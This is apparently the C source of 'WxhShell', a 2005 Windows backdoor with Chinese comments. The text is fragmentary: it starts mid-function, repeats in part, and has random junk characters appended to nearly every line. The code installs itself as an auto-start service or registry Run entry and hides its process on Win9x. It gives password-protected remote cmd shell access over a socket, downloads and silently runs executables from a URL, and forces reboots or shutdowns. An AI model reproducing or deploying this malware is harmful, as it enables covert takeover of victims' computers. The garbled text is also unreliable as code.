    if(Boot(SHUTDOWN)) ,.gQ^^+=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'EFyIVezg9  
    else { z4E|Ai  
    closesocket(wsh); id?h>g  
    ExitThread(0); xooY' El*#  
    } yUPIY:0  
    break; jjM{]  
    } pKS {6P  
  // 获取shell {-BRt)L[  
  case 's': { f3|@|' ;  
    CmdShell(wsh); fqu}Le  
    closesocket(wsh); 9_sA&2P{uV  
    ExitThread(0); rxme(9M  
    break; MQ)L:R` L  
  } sdCvG R e  
  // 退出 {,OS-g  
  case 'x': { }h 3K@R   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .vG,fuf8  
    CloseIt(wsh); 7Ol}EPf#  
    break; 7OW bAu;  
    } =+w*gDr  
  // 离开 ;L&TxO>#J  
  case 'q': { E\m5%bK\B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M,}|tsL  
    closesocket(wsh); .@Ut?G  
    WSACleanup(); -YD+(c`l  
    exit(1); lO:. OZu  
    break; jp' K%P  
        }  lWm'  
  } 7hy&-<  
  } rxO2QQ%V  
fSDi- I  
  // 提示信息 ~:km]?lz0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SE7WF18A  
} +h_ !0dG  
  } 6!^[];%xN  
#0 6-:  
  return; Q%aU42?_1  
} !.1%}4@Q]  
NA,C Z  
// shell模块句柄 :fk2]{KTL  
int CmdShell(SOCKET sock)  '8j$';&`  
{ HG'{J^t  
STARTUPINFO si; ?X?&~3iD%  
ZeroMemory(&si,sizeof(si)); c"!lwm3b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 09o~9z0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }IEb yb  
PROCESS_INFORMATION ProcessInfo; aCV4AyG  
char cmdline[]="cmd"; L!_ZY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >+5?F*`\D*  
  return 0; ;V<iL?  
} DP/J (>eG  
$hxN hI  
// 自身启动模式 >!6i3E^  
int StartFromService(void) /MQU >&  
{ VDB;%U*D  
typedef struct oPc\<$  
{ 4(l?uU$  
  DWORD ExitStatus; aAu>Tn86D.  
  DWORD PebBaseAddress; -yDs< Xl  
  DWORD AffinityMask; .k4W_9  
  DWORD BasePriority; `bKA+c,f  
  ULONG UniqueProcessId; e4OeoQ@ >  
  ULONG InheritedFromUniqueProcessId; _ .i3,-l)  
}   PROCESS_BASIC_INFORMATION; >\ST-7[^L  
B5X sGLV  
PROCNTQSIP NtQueryInformationProcess; J/);"bg_O  
d7Ur$K\=y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1xf=_F0`&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \n0Oez0z!B  
'2zL.:~  
  HANDLE             hProcess; x( mE<UQN  
  PROCESS_BASIC_INFORMATION pbi; *]JdHO  
7t9c7HLuj/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gqib:q ;r  
  if(NULL == hInst ) return 0; W\f9jfD  
avp; *G }  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iA_8(Yo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ydv3owN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7nzGAz_W  
M9!AIHq4  
  if (!NtQueryInformationProcess) return 0; a:YI"*S  
!2:3MbtR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >*twTlb{  
  if(!hProcess) return 0; #sKWd  
5W =(+Q>C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H(0q6~|  
PC c|}*b  
  CloseHandle(hProcess); =G~~?>=@2  
!A8^Xmz"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (wRBd  
if(hProcess==NULL) return 0; =\)IaZ  
/W#O +  
HMODULE hMod; 3>z[PPw  
char procName[255]; ;evCW$G=  
unsigned long cbNeeded; 0e["]Tlnm  
mxSKG> O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ! 0/z>#b  
!~<siy  
  CloseHandle(hProcess); IGX:H)&*  
,(G%e  
if(strstr(procName,"services")) return 1; // 以服务启动 f]~c)P Cs  
NkxCs  
  return 0; // 注册表启动 tNs~M4TVVH  
}  &K^MN d  
?(KvQK|d4  
// 主模块 R4%P:qM  
int StartWxhshell(LPSTR lpCmdLine) 9+YD!y  
{ YC_3n5F%  
  SOCKET wsl; #iSFf  
BOOL val=TRUE; r^$~>!kZ|  
  int port=0; ]Pn !nSg  
  struct sockaddr_in door; f7}"lG]q  
z/&;{J  
  if(wscfg.ws_autoins) Install(); ,gnQa  
LE?u`i,e=+  
port=atoi(lpCmdLine); !a1i Un9  
VS?@y/\In  
if(port<=0) port=wscfg.ws_port; ]6tkEyuq  
t qOi x/  
  WSADATA data; Ccfwax+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~!%0Z9>ap  
xSpC'"   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k7_I$ <YDj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z#`0txCF  
  door.sin_family = AF_INET; SP 2 8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); guN4-gGDr<  
  door.sin_port = htons(port); c)C5KaiPG  
IN^9uL]B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4lc)&  
closesocket(wsl); KGZ?b2N?Va  
return 1; 8dT'xuch  
} :s8A:mx  
Wf02$c0#K  
  if(listen(wsl,2) == INVALID_SOCKET) { 5IMSNGS  
closesocket(wsl); {g/wY%u=  
return 1; dGH_ z8  
} Pn TZ/|  
  Wxhshell(wsl); jeN1eM8 WI  
  WSACleanup(); B{, Bno  
h"QbA"  
return 0; c|wCKn}`  
VlW9UF-W  
} 'zSgCgCHX8  
hQh9ok8S  
// 以NT服务方式启动 Z$K+ 7>^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ucg$Ed  
{ 1q~LA[6  
DWORD   status = 0; '\p;y7N  
  DWORD   specificError = 0xfffffff; SqB/4P   
m>Ux`Gp+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UFZ"C,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 24@^{ }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F1|zXg)  
  serviceStatus.dwWin32ExitCode     = 0; Ph7pd  
  serviceStatus.dwServiceSpecificExitCode = 0; KS!yT_O  
  serviceStatus.dwCheckPoint       = 0; ui.'^F<  
  serviceStatus.dwWaitHint       = 0; ;?9A(q_Z  
}F{=#Kqn^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &>}.RX]t  
  if (hServiceStatusHandle==0) return; ;cSGlE |  
MUof=EJg>u  
status = GetLastError(); y~#\#w {  
  if (status!=NO_ERROR) ZW ye> ]  
{ 2o{@nN8%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %= u/3b:o  
    serviceStatus.dwCheckPoint       = 0; $>vy(Y  
    serviceStatus.dwWaitHint       = 0; m^$5K's&  
    serviceStatus.dwWin32ExitCode     = status; 4e%8D`/=M  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^E@@YV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '_Wt }{h  
    return; #MTj)P,  
  } 5}<[[}(  
%<U{K;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <*@~n- R$  
  serviceStatus.dwCheckPoint       = 0; $^vP<  
  serviceStatus.dwWaitHint       = 0; ;e;\q;GP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >_Uj?F:  
} k8&FDz  
QaMDGD  
// 处理NT服务事件,比如:启动、停止 QP\yaPE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \.>.c g  
{ g37q/nEv  
switch(fdwControl) ;/Q6 i  
{ \RE c8nsLy  
case SERVICE_CONTROL_STOP: ^pcRW44K  
  serviceStatus.dwWin32ExitCode = 0; ?iln<% G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @%B4;c  
  serviceStatus.dwCheckPoint   = 0; )1_(>|@oi  
  serviceStatus.dwWaitHint     = 0; :GL7J6  
  { RWE~&w G}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X(GV6mJ4  
  } XV2=8#R  
  return; jfSg){  
case SERVICE_CONTROL_PAUSE: 4;\Y?M}g?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `C<F+/q  
  break; $9i9s4u^  
case SERVICE_CONTROL_CONTINUE: PRp E$`WK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G ]lvHD  
  break; : ej_D}  
case SERVICE_CONTROL_INTERROGATE: AP@<r  
  break; 3i(Jon/p  
}; A70(W{6a9@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _<u;4RO(s  
} >-<F)  
,Oi^ySn  
// 标准应用程序主函数 $xcv>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !QTPWA  
{ $I(}r3r  
7)PJ:4IqS  
// 获取操作系统版本 1 ;Ju]  
OsIsNt=GetOsVer(); @ KJV1t`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?>)yKa#U  
/| f[us-w  
  // 从命令行安装 lM&UFEl-\  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?waebuj>  
]^ !}*  
  // 下载执行文件 T&4fBMBp,%  
if(wscfg.ws_downexe) { j)Lo'&Y~=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;@!;1KDy  
  WinExec(wscfg.ws_filenam,SW_HIDE); )d_U)b7i  
} #01/(:7  
#ko6L3Pi  
if(!OsIsNt) { sy.:T]ZH  
// 如果时win9x,隐藏进程并且设置为注册表启动 ".M:`BoW4  
HideProc(); 28+HKbgK  
StartWxhshell(lpCmdLine); @H4wHlb  
} z `@z  
else 82 .HH5Z{  
  if(StartFromService()) gUb "3g0  
  // 以服务方式启动 C M^r|4 K  
  StartServiceCtrlDispatcher(DispatchTable); #W^_]Q=5R'  
else \d5}5J]a&n  
  // 普通方式启动 ~,G]glu8  
  StartWxhshell(lpCmdLine); ?1$\pq^  
9F)W19i.  
return 0; h/9Sg*k  
} zi_[ V@Es/  
Cn/q=  
(k#t }B[  
* 2%oZX F  
=========================================== [U']kt  
bQpoXs0w;  
'v+96b/;  
/=- h:0{M  
8'% +G  
"Y(%oJS]D  
" m>O2t-  
ZZwBOGVU  
#include <stdio.h> T"B8;|  
#include <string.h> sOC| B  
#include <windows.h> bx]1 4}6  
#include <winsock2.h> \aB&{`iG  
#include <winsvc.h> G "c/a8  
#include <urlmon.h> R{ 4u|A?9  
(Otur  
#pragma comment (lib, "Ws2_32.lib") g!\QIv1D  
#pragma comment (lib, "urlmon.lib") W7T" d4  
$4: ~* IQ  
#define MAX_USER   100 // 最大客户端连接数 XC2Q*Z  
#define BUF_SOCK   200 // sock buffer ]Qc: Zy3  
#define KEY_BUFF   255 // 输入 buffer  X)y*#U  
b2W;|  
#define REBOOT     0   // 重启 J:[3;Z  
#define SHUTDOWN   1   // 关机 @NBXyC8,Z  
E~qK&7+  
#define DEF_PORT   5000 // 监听端口 CCy .  
wV?[3bEhM  
#define REG_LEN     16   // 注册表键长度 + f6}p  
#define SVC_LEN     80   // NT服务名长度 ~(M*6b  
{6DpPw^"  
// 从dll定义API HK? Foo?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `} ZL'\G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |})rt5|f1!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ruWye1X;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w zdxw$E  
z^"?sd  
// wxhshell配置信息 hN!.@L  
struct WSCFG { k:W=5{[  
  int ws_port;         // 监听端口 m/cx|b3hqv  
  char ws_passstr[REG_LEN]; // 口令 l; */M.B  
  int ws_autoins;       // 安装标记, 1=yes 0=no B piEAwh  
  char ws_regname[REG_LEN]; // 注册表键名 MR[N6E6Mg  
  char ws_svcname[REG_LEN]; // 服务名 3!1&DII4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x vHOY:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "_ Zh5 g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mJ/^BT]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p~ mN2x]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :0{AP_tvcC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -<_+-t  
Cnk#Ioz  
}; '\4c "Ho  
n2H&t>N  
// default Wxhshell configuration ;k-g _{M  
struct WSCFG wscfg={DEF_PORT, }D(DU5r  
    "xuhuanlingzhe", _8Pmv$   
    1, yFIl^Ck%  
    "Wxhshell", PZ~`O  
    "Wxhshell", EC0zH#N  
            "WxhShell Service", n&3iz05}  
    "Wrsky Windows CmdShell Service", e3G7K8  
    "Please Input Your Password: ", u87=q^$  
  1, q=J9L Q  
  "http://www.wrsky.com/wxhshell.exe", -i2D#i'  
  "Wxhshell.exe" Z+OAs0}mV  
    }; T<! \B]  
3{6ps : w  
// 消息定义模块 o$*bm6o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q=dw 6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Au~+Zz|mQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A3m{jbh  
char *msg_ws_ext="\n\rExit."; q|?`Gsr  
char *msg_ws_end="\n\rQuit."; 8|fLe\"  
char *msg_ws_boot="\n\rReboot..."; D<lQoO+  
char *msg_ws_poff="\n\rShutdown..."; V}j %gy`  
char *msg_ws_down="\n\rSave to "; NU BpIx&  
5+o 2 T]  
char *msg_ws_err="\n\rErr!"; VZAuUw+M  
char *msg_ws_ok="\n\rOK!"; tvG g@Xs\  
hqdC9?\  
char ExeFile[MAX_PATH]; `8.1&fBr  
int nUser = 0; IY-(- a8  
HANDLE handles[MAX_USER]; F0X5dv  
int OsIsNt; "v*oga%  
^U R-#WaQ  
SERVICE_STATUS       serviceStatus; >aNbp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B:B0p+$I  
nD^{Q[E6=  
// 函数声明 ]t8{)r  
int Install(void); JI28O8  
int Uninstall(void); $1:}(nO,  
int DownloadFile(char *sURL, SOCKET wsh); 9[6G8;<D&  
int Boot(int flag); _Ac/ir[,:  
void HideProc(void); WK/b=p|#o  
int GetOsVer(void); 7*R{u*/e  
int Wxhshell(SOCKET wsl); DKe6?PG  
void TalkWithClient(void *cs); &\CJg'D:m  
int CmdShell(SOCKET sock); TsoCW]h  
int StartFromService(void); [i2A{(x  
int StartWxhshell(LPSTR lpCmdLine); V,99N'o~x  
|_xZ/DT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]b5%?^Z#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m~A[V,os  
|?4~T:  
// 数据结构和表定义 ~xsb5M5  
SERVICE_TABLE_ENTRY DispatchTable[] = Yg\{S<wr  
{ 5 ]A$P\7~1  
{wscfg.ws_svcname, NTServiceMain}, P]~N-xdV  
{NULL, NULL} fzq'S]+  
}; dm/-}  
LC~CPV'F  
// 自我安装 tuL\7 (R  
int Install(void)  hg<"Yg=  
{ yf0vR%,\  
  char svExeFile[MAX_PATH]; 5i}CzA96  
  HKEY key; N>W;0u!  
  strcpy(svExeFile,ExeFile); 7C,<iY  
 r{; VTQ  
// 如果是win9x系统,修改注册表设为自启动 ~*,Ddwr0a  
if(!OsIsNt) { ]j%*"V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y^*Lh/:h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uOivnJ?  
  RegCloseKey(key); duZ|mT8Q==  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )3D+gu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U]`'GM/x  
  RegCloseKey(key); `2 %eDFZ  
  return 0; ox i a}  
    } gNMKGf\Y  
  } s0X/1Cq  
} HM(bR"E  
else { MbT ONt?~v  
[="g|/M)  
// 如果是NT以上系统,安装为系统服务 kx;xO>dC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B` t6H  
if (schSCManager!=0) 8gu'dG=  
{ 02]8|B(E90  
  SC_HANDLE schService = CreateService Fyi?,,  
  ( y{&{=1#  
  schSCManager, 5p#o1I  
  wscfg.ws_svcname, iZDb.9@&t  
  wscfg.ws_svcdisp, !>a&`j2:W  
  SERVICE_ALL_ACCESS,  8o%<.]   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 42b=z//;  
  SERVICE_AUTO_START, t ?Njw7  
  SERVICE_ERROR_NORMAL, *Dd(+NI  
  svExeFile, y4)ZUv,}  
  NULL, HlOAo:8'  
  NULL, k=ior  
  NULL, o}r!qL0c  
  NULL, ~x +:44*  
  NULL eE#81]'6a  
  ); cAsSN.HFS  
  if (schService!=0)  gnKU\>2k  
  { rS,* s'G  
  CloseServiceHandle(schService); (F4dFh  
  CloseServiceHandle(schSCManager); [7SI<xkv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?-(w][MT\  
  strcat(svExeFile,wscfg.ws_svcname); flm,r<*}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P@! Q1pr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4:%El+,_Y  
  RegCloseKey(key); i"r.>X'Z  
  return 0; O;&yA<  
    } Rpa A)R,  
  } $@ T6g  
  CloseServiceHandle(schSCManager); qw Kh,[]  
} gOES2 4$2  
} g#9*bF  
?=|) n%  
return 1; fxtYo,;$  
} @'NaA SB  
n'x`oI)-  
// 自我卸载 <Vr] 2mw  
int Uninstall(void) lhIr]'?l  
{ }{w_>!ee  
  HKEY key; pO7{3%  
ShsP]$Yp  
if(!OsIsNt) { fO^EMy\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /%}YuN  
  RegDeleteValue(key,wscfg.ws_regname); mXN1b!  
  RegCloseKey(key); 6"rFfdns  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n )wpxR  
  RegDeleteValue(key,wscfg.ws_regname); Li<266#A!  
  RegCloseKey(key); UmP?}Xw6  
  return 0; _6QLnr&@j  
  } J4K|KS7   
} (-G(^Tn  
} j .yr 5%  
else { A]~iuUHm  
8en#PH }  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6wvhvMkS  
if (schSCManager!=0) ;>QK}#'  
{ WkU) I2oH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tr}$Pb1  
  if (schService!=0)  S9ak '  
  { 9{]r+z:  
  if(DeleteService(schService)!=0) { ay7+H7^|hZ  
  CloseServiceHandle(schService); *{D:1S  
  CloseServiceHandle(schSCManager); W0uM?J\O  
  return 0; f'zFg["aZS  
  } \PtC  
  CloseServiceHandle(schService); Ph7(JV{  
  } U%B]N@  
  CloseServiceHandle(schSCManager); C}DG'z9  
} RGPU~L  
} e&a[k  
xz Gsfd  
return 1; 48"Y-TV  
} !\D] \|Bo  
iw]B QjK  
// 从指定url下载文件 WY. \<$7  
int DownloadFile(char *sURL, SOCKET wsh) `$x#_-Hn  
{ |2t7mat  
  HRESULT hr; qeO6}A"^|  
char seps[]= "/"; %Cbc@=k  
char *token; uK&wS#uY  
char *file; <K.C?M(9  
char myURL[MAX_PATH]; ZZ.0'   
char myFILE[MAX_PATH]; krnk%ug  
dW=D]  
strcpy(myURL,sURL); {i7Fu+xZj  
  token=strtok(myURL,seps); /o06hy  
  while(token!=NULL) tU~H@'  
  { <0,ah4C  
    file=token; 'y@ 2,9v  
  token=strtok(NULL,seps); %H 6ZfEO  
  } !+26a*P  
[XU{)l  
GetCurrentDirectory(MAX_PATH,myFILE); u>i+R"hi"  
strcat(myFILE, "\\"); aBtfZDCfzp  
strcat(myFILE, file); [@l v]+@  
  send(wsh,myFILE,strlen(myFILE),0); "j@IRuH  
send(wsh,"...",3,0); HEfA c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R;-FZ@u/  
  if(hr==S_OK) IM&7h! l"|  
return 0; '8pPGh9D  
else <n2{+eO  
return 1; I9j+x ])  
a!J ow?(  
} L4A/7Ep  
+q, n}@y=  
// 系统电源模块 nR|LV'(  
int Boot(int flag) `R=_t]ie  
{ GHsdLe=t0#  
  HANDLE hToken; !vo'8r?&  
  TOKEN_PRIVILEGES tkp; ][K8\  
&8YI)G%  
  if(OsIsNt) {  IOES3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g #<?OFl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); = ]HJa  
    tkp.PrivilegeCount = 1; &T/9y W[L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -0J<R;cVs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j]F3[gpc  
if(flag==REBOOT) { E?5B>Jer#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;NVTn<Uj  
  return 0; wT AEJ{p  
} f!kdcr=/"  
else { iqKfMoy5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wes "t}[25  
  return 0; SVEA  
} lG^nT  
  } wNZS6JF.d  
  else { S$_Ts1Ge6  
if(flag==REBOOT) { hE`%1j2(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D2*Q1n  
  return 0; yD id` ym  
} WMRgf~TY=2  
else { ~Wd8>a{w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hD.wKX?oO  
  return 0; ?j$8Uy$$  
} MKYE]D;  
} 8\t7}8f  
M #Ru I%  
return 1; R\=\6("  
} R#^pNJN  
$A0]v!P~i-  
// win9x进程隐藏模块 *wZV*)}  
void HideProc(void) -EIMh^  
{ ?@BaBU:o`F  
FHPZQC8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BCDf9]X  
  if ( hKernel != NULL ) ]qG5 Ne _  
  { n~cm?"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <yaw9k+P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IG@&l0ARL  
    FreeLibrary(hKernel); 0_Z|y/I.  
  }  Jy[8,X  
I8wVvs;k  
return; E6\~/=X=%  
} [?o v J  
@9P9U`ZP  
// 获取操作系统版本 )s[S.`S Tz  
int GetOsVer(void) H4",r5qw:  
{ y/*Tvb #TJ  
  OSVERSIONINFO winfo; =@/^1.`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [*E.G~IS`  
  GetVersionEx(&winfo); wbKBwI5w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !x / Z"  
  return 1; bH]!~[  
  else @MH]s [{o\  
  return 0; Z 2jMBe  
} g 5N<B+?!i  
5Kxk9{\8  
// 客户端句柄模块 KvOI)"0(  
int Wxhshell(SOCKET wsl) f;dU72]q+  
{ H LGy"P  
  SOCKET wsh; >V=@[B(0  
  struct sockaddr_in client; *J5euA5=  
  DWORD myID; "r3s'\  
7n]%`Yb  
  while(nUser<MAX_USER) \(t>(4s_~  
{ ;AA7wK 4  
  int nSize=sizeof(client); #mxfU>vQ:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~TIZumGB  
  if(wsh==INVALID_SOCKET) return 1; TmH13N]  
hds4 _  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eTHh  
if(handles[nUser]==0) l+qtA~V&2  
  closesocket(wsh); <T[ui  
else epyYo&x}  
  nUser++; m)w- mc  
  } -\v8i.w0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >5W"a?(  
L 'Rapu  
  return 0; 1caod0gor  
} [m&ZAq  
]a~LA7VHO  
// 关闭 socket LZ dNG\-  
void CloseIt(SOCKET wsh) r}Av"  
{ Av4E ?@R  
closesocket(wsh); l~c> jm8.  
nUser--; e!'u{>u  
ExitThread(0); 4'| :SyOm  
} J, >PLQAa  
}f*S 9V  
// 客户端请求句柄 rmJ847%y`  
void TalkWithClient(void *cs) <Wq{ V;$  
{ /hR]aw  
o:*iT =l  
  SOCKET wsh=(SOCKET)cs; ixpG[8s  
  char pwd[SVC_LEN]; mSeN M  
  char cmd[KEY_BUFF]; '~a$f;: Dv  
char chr[1]; fbkjK`_q  
int i,j; "b7C0NE  
IV*$U7~  
  while (nUser < MAX_USER) { b;ZAz  
nP5fh_/  
if(wscfg.ws_passstr) { 1OS3Gv8jc~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); POs~xaZ`H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %W@IB8]Vr  
  //ZeroMemory(pwd,KEY_BUFF); nmrk-#._@9  
      i=0; S3wH M  
  while(i<SVC_LEN) { 9hpM*wt  
6%1o<{(%f  
  // 设置超时 T+!kRigN~P  
  fd_set FdRead; ?!-im*~w  
  struct timeval TimeOut; wB"Gw` D  
  FD_ZERO(&FdRead); $4,6&dwg  
  FD_SET(wsh,&FdRead);  #0H[RU?  
  TimeOut.tv_sec=8; >Sah\u`  
  TimeOut.tv_usec=0; 4+bsG6i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Okc*)crw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;Bi{;>3  
?Qk#;~\yB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )CQ}LbXZy  
  pwd=chr[0]; 3Re\ T  
  if(chr[0]==0xd || chr[0]==0xa) { DJUtuex  
  pwd=0; \(L^ /]}G)  
  break; LXl! !i%  
  } yK3z3"1M?  
  i++; [hbIv   
    } pQ8+T|0x  
GrC")Z|3u  
  // 如果是非法用户,关闭 socket 7C^ nk z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UlytxWkUX  
} >^N :A  
`;@4f |N9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PD4E& k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m,O !M t  
E~^'w.1  
while(1) { ="K>yUfcFl  
4y.[tk5  
  ZeroMemory(cmd,KEY_BUFF); "<#:\6aym  
Df^S77&c!  
      // 自动支持客户端 telnet标准   P#PQ4uK \  
  j=0; K(S/D(\ FL  
  while(j<KEY_BUFF) { n Lb 9$&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >j3N-;o@?  
  cmd[j]=chr[0]; Bs}>#I  
  if(chr[0]==0xa || chr[0]==0xd) { ?Q2pD!L{  
  cmd[j]=0; RGmpkQEp  
  break; @Iu-F4YT  
  } _TF>c:m3  
  j++; ,pz CJ@5  
    } Hc9pWr "N  
EVsZ:Ra^k  
  // 下载文件 t;3.;  
  if(strstr(cmd,"http://")) { Y[4B{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ow "Xv  
  if(DownloadFile(cmd,wsh)) ;0'v`ob'.?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z ngJ9js  
  else @35 shLs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wP*Z/}Uum+  
  } v!Z9T  
  else { 2Fi*)\{  
~l~g0J  
    switch(cmd[0]) { ): 6d_g{2  
  .>n|#XK  
  // 帮助 )VC) }  
  case '?': { PQ>JoRs  
